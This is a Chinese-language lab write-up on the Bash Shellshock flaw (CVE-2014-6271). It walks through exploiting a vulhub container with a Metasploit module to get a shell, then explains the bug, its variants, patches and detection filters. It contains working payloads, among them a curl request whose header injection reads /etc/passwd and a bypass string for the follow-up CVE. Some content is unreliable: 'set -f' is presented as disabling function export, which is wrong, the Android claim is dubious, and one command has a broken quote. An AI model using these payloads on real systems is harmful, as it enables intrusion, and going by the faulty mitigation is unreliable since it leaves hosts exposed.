Bash Shellshock(破壳CVE-2014-6271)
靶机:vulhub 攻击机:kali
一、漏洞复现
1.命令汇总
su root
#vulhub上使⽤root执⾏
cd /home/enjoy/vulhub-master/bash/shellshock
docker-compose build
docker-compose up -d
docker-compose config
#访问http://yourip:8080/victim.cgi
#kali执⾏
msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.213.135 (vulhub ip)
set RPORT 8080
set TARGETURI /victim.cgi
run
shell
2.详细步骤
(1)在靶机vulhub上使用root权限,并cd到shellshock目录。
这里我直接cd 绝对路径找不到shellshock目录,就尝试了一级一级进入。docker-compose up -d启动服务
(2)ifconfig查看靶机ip
(3)访问靶机的victim.cgi,验证docker拉起服务成功
(4)进入kali虚拟机,启动msf,利用exploit/multi/http/apache_mod_cgi_bash_env_exec攻击模块
(5)设置必要配置,开始攻击,进入shell,验证靶机id
二、漏洞原理
CVE-2014-6271(⼜称Shellshock或破壳漏洞)是2014年公开的GNU Bash(Bourne Again Shell)中一个⾼危远程代码执⾏(RCE)漏洞,其CVSS 3.0评分为10.0(最⾼危),影响范围覆盖全球数亿台Linux/Unix设备及⽹络服务。该漏洞的核心原理在于Bash对函数型环境变量的解析逻辑缺陷,允许攻击者通过构造恶意环境变量注⼊任意代码。以下从技术原理、触发机制、利用场景、影响范围及修复方案五个维度展开分析:
1.Bash环境变量与函数定义机制Bash允许将环境变量与函数定义通过 export 命令导出,例如:
func() { echo "Hello"; }
export -f func # 将函数`func`导出为环境变量
运行,在⼦进程中,通过解析环境变量即可还原函数定义。然⽽,漏洞的根源在于Bash在解析这类环境变量时,未对函数定义的边界进⾏严格验证。
2.漏洞触发逻辑:函数定义后附加恶意指令
构造恶意环境变量:攻击者定义以
(){开头的环境变量,并在函数体后追加额外命令,例如:
env 'VAR=() { :; }; echo Vulnerable' bash -c "true"
运⾏(){ :; } :合法的函数定义(空函数)。echo Vulnerable,注⼊的恶意指令。
解析逻辑缺陷:Bash在解析 VAR 环境变量时,错误地将 echo Vulnerable 视为函数定义的延续,⽽⾮终⽌符导致后续命令被⽆条件执⾏。 漏洞本质:代码与数据混淆该漏洞属于注⼊型漏洞,类似于SQL注⼊。Bash将⽤户可控的环境变量数据错误解析为可执⾏代码,根源在于builtins/evalstring.c中的parse_and_execute函数未对输⼊进⾏合法性校验,未检测函数定义的终⽌标志。
三、漏洞触发机制与利用路径
本地触发场景通过本地Shell直接设置恶意环境变量即可验证漏洞存在:
1.env x='() { :;}; echo Vulnerable CVE-2014-6271' bash -c "echo test"
运⾏,若输出Vulnerable CVE-2014-6271,则系统存在漏洞。
2.远程利用路径
漏洞本身无法直接远程触发,需借助第三⽅服务作为媒介。典型攻击路径包括: HTTP服务(Apache CGI):攻击者通过HTTP请求头(如 User-Agent 、 Cookie )传递恶意环境变量。例如:
curl -H "User-Agent: () { :; }; /bin/bash -c 'cat /etc/passwd' http://victim/cgi-bin/test.cgi
Apache CGI脚本调⽤Bash处理请求时触发恶意代码执⾏。
OpenSSH(ForceCommand):SSH服务器配置 ForceCommand 时,攻击者通过 SSH_ORIGINAL_COMMAND 环境变量注⼊命令。
DHCP客户端:DHCP响应中的恶意参数可触发客户端脚本中的漏洞。
绕过补丁的变种(CVE-2014-7169)初始补丁(检测函数定义后的字符)存在缺陷,攻击者通过构造不完整函数定义或多段命令绕过检测,例如:
3.env VAR='() { (a)=>' bash -c "echo date"
该Payload利⽤Bash的重定向解析缺陷写⼊恶意⽂件。
四、影响范围与历史危害
1.受影响系统
操作系统:所有使⽤Bash 1.14⾄4.3版本的Linux/Unix系统,包括Red Hat、CentOS、Ubuntu、Debian、Fedora、Mac OS X 10.10等。
容器与IoT设备:Docker镜像、嵌⼊式Linux设备(如路由器)因⻓期未更新Bash版本成为重灾区。
2.历史攻击事件
⾃动化蠕⾍传播:漏洞公开后48⼩时内即出现⾃动化攻击⼯具(如Shellshock蠕⾍),感染设备组建僵⼫⽹络⽤于DDoS攻击或加密货币挖矿。
APT攻击载体:⾼级威胁组织利⽤该漏洞渗透企业内⽹,通过CGI脚本窃取敏感数据。
3. Android免疫性
尽管Android系统使⽤Bash,但其默认不启⽤ ENV 命令解析功能,因此基本不受影响。
五、漏洞修复与防御方案
1.官⽅补丁分析
补丁机制:通过修改 parse_and_execute 函数,增加SEVAL_FUNCDEF 和 SEVAL_ONECMD 标志,限制环境变量仅能包含单⼀函数定义,禁⽌附加额外命令。
升级验证:
bash --version # 确认版本≥4.3-013
env x='() { :;}; echo Vulnerable' bash -c "echo test" # 输出应为"test"⽽⾮"Vulnerable"
2.临时缓解措施
禁⽤Bash函数导出:
set -f # 禁⽤函数导出(需修改系统启动脚本)
配置Web服务器过滤规则:
Apache:使⽤ mod_security 模块拦截包含 () { 的HTTP头。
Nginx:正则匹配并拒绝恶意请求。
3. 纵深防御体系
权限隔离:以⾮特权⽤户运⾏Web服务(如 www-data),限制Bash执⾏权限。
⼊侵检测(IDS):监控⽹络流量中的异常环境变量模式(如 () { 字符串)。
容器安全:使⽤Alpine Linux等不依赖Bash的轻量级基础镜像。